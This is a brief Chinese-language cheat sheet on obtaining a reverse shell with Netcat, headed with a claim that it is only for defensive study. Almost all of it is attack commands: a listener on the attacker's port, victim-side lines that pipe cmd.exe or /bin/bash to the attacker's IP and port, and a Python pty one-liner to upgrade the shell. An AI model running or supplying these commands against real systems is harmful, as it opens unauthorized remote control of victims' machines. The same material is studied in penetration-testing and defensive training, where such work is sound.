【笔记】反弹Shell
前言
利用Ncat(Netcat)反弹Shell
本文仅用于网络信息防御学习
攻击者监听端口
<port>
:监听的端口号
Linux
1 | nc -lvp <port> |
MacOS
1 | nc -lv <port> |
受害者反弹Shell
<ip>
:攻击者的IP地址<port>
:攻击者监听的端口号
Windows
1 | nc.exe -e cmd.exe <ip> <port> |
Linux
1 | nc -e /bin/bash <ip> <port> |
进入交互式Shell(Linux)
- 受害者反弹Shell成功后,在攻击者机中启动交互式Shell
1 | python -c 'import pty; pty.spawn("/bin/bash")' |